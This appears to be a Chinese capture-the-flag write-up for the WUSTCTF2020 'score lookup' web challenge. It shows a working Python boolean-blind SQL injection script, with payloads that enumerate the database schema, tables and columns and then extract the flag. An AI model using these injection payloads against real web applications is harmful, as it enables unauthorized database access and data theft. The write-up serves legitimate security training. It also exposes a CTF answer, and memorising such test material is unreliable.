[WUSTCTF2020]颜值成绩查询

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首页长这样

通过stunum传递查询

/?stunum=<num>

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/?stunum=1

Hi admin, your score is: 100

/?stunum=2

Hi 双击老é, your score is: 666

/?stunum=3

Hi 别fuzz了, your score is: 你就不会输个学号?

/?stunum=4

Hi 哦数据å, your score is: AIS成员的数据

逐渐魔法起来力

猜测是不是存在sql注入

/?stunum=0^1

Hi admin, your score is: 100

/?stunum=0^0

student number not exists.

尝试直接布尔盲注

import requests
import time
import sys

url = "http://xxx.node4.buuoj.cn:81"

fmt = '0^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)'
false_re = 'exists'

for i in range(0, 100):
    l = 0
    r = 127
    while l < r:
        mid = (l + r) // 2
        payload = fmt % (i, mid)
        params = {'stunum': payload}
        response = requests.get(url, params)
        time.sleep(0.1)
        if response.text.find(false_re) >= 0: # mid >= ans
            r = mid
        else: # mid < ans
            l = mid + 1
    print(chr(l), end='')
    sys.stdout.flush()

information_schema,ctf

fmt = '0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctf\')),%d,1))>%d)'

flag,score

fmt = '0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'flag\')),%d,1))>%d)'

flag,value

fmt = '0^(ord(substr((select(group_concat(flag))from(ctf.flag)),%d,1))>%d)'

flag

fmt = '0^(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)'

flag{808357e6-c9d9-48c6-84f8-23e18ec19981}

#Web #SQL注入 #布尔盲注